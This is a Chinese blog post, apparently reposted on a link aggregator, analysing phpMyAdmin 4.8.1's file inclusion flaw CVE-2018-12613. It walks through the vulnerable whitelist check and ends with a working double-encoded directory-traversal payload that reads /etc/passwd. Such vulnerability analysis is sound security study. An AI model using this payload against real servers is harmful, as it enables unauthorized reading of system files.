9

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

 2 years ago
source link: https://zh1x1an.github.io/2019/11/19/phpmyadmin-4-8-1-%E8%BF%9C%E7%A8%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E-CVE-2018-12613/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

创建时间:2019-11-19 01:33
字数:541 阅读:8 评论:0

mac + php5.6 + apache + mysql5.5 + xdebug-2.5.5

phpmyadmin 4.8.1 下载链接:

确保 mysql 启动无误。

下载并移动 phpmyadmin 源代码到本地 web 根目录中,修改配置文件:

cp config.sample.inc.php config.inc.php

修改 config.inc.php 文件:

安装完成。

index.php :55 行左右

if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

通过 get 方式传入的 target 参数,有可能进入 include 函数,从而导致任意文件包含。 但是要经过上述几个判断,简单梳理一下 target 需要满足的条件:

  1. 参数不为空,且是 string 类型
  2. 不能以 index 开头
  3. 不能在黑名单中(import.php exprot.php)
  4. 通过 Core::checkPageValidity 方法的判断

跟进 Core::checkPageValidity

public static function checkPageValidity(&$page, array $whitelist = [])
{
    if (empty($whitelist)) {
        $whitelist = self::$goto_whitelist;
    }
    if (! isset($page) || !is_string($page)) {
        return false;
    }

    if (in_array($page, $whitelist)) {
        return true;
    }

    $_page = mb_substr(
        $page,
        0,
        mb_strpos($page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }

    $_page = urldecode($page);
    $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }

    return false;
}

不管哪一种情况,都要求 page 参数满足 isset 和 is_string 。这是肯定满足的,我们主要梳理一下这一段代码对 page 参数的其他要求:

  1. 首先获取一个白名单
  2. page 参数在白名单中
  3. page 参数截取第一个 ? 前的子串,子串在白名单中
  4. page 参数先 url 解码后,再截取第一个 ? 前的子串,子串在白名单中

梳理下攻击思路:

  1. 白名单是已知的,这里随便选一个 db_datadict.php 。
  2. 既然我们走到了 include 这里,那就尽可能让传进来的参数,任意满足上面一种情况,并且仍然可以通过目录穿越,包含到任意文件。

Payload:

/index.php?target=db_datadict.php%253f/../../../../../../../../../etc/passwd

该 payload 使得 page 参数满足最后一种条件,也就是 url 解码后,截取第一个问号 ? 之前的子串,子串(db_datadict.php)在白名单中。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论

0


Recommend

  • 15

    PHP文件包含漏洞总结 Kuuki ·...

  • 16

    PHP本地文件包含漏洞环境搭建与利用 janes

  • 70

    背景 本地文件包含(LFI) 漏洞是一种危害性较大的漏洞类型。一旦出现攻击者将可能利用其,读取文件源码或敏感信息,包含恶意文件,执行任...

  • 22

    从ByteCTF的opensns 到前段时间斗象科技发的

  • 11

    本文2020年8月24日发表于代码审计公众号 周日晚,某群里突然发布了一则消息,宝塔面板的phpmyadmin存在未授权访问漏洞的紧急漏洞预警,并给出了一大批存在...

  • 13

    【tryhackme】Skynet(远程文件包含漏洞,cron任务通配符提权)发布于 25 分钟前┌──(root💀kali)-[~] └─# nmap -sV 10.10.166.193...

  • 9
    • ultramangaia.github.io 2 years ago
    • Cache

    PHP安全之文件包含漏洞

    PHP在引入文件时,对传入的文件名没有进行恰当的校验完全控制文件名<?php include($_GET['file']); ?> 完全控制文件名,可用的操作非常多。 远程文...

  • 5
    • www.cnblogs.com 2 years ago
    • Cache

    文件包含漏洞笔记 - MeloAnthony

    程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,则无须再次编写,这种调用文件的过程一般称为文件包含。如果包含的文件参数是可控的,那么就会导致文件包含漏洞的产生,文件包含可以分为本...

  • 6
    • www.cnblogs.com 1 year ago
    • Cache

    文件包含漏洞全解 - 清茶先生

    文件包含漏洞 文件包含漏洞(File Inclusion Vulnerability)是指应用程序中存在的一种安全漏洞,攻击者通过利用该漏洞可以在应用程序中执行任意代码。文件包含漏洞通常出现在动态网页中,攻击者通过在URL中注入恶意代码,使应用程序将恶...

  • 4
    • qwzf.top 1 year ago
    • Cache

    文件包含漏洞

    因为之前做过文件包含漏洞的Web题,了解了一点文件包含漏洞的一些知识,但并没有总结。所以现在重新学习并总结了一下文件包含漏洞。文件包含漏洞文件包含的简介服务器执行PHP文件时,可以通过文件包含函...

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK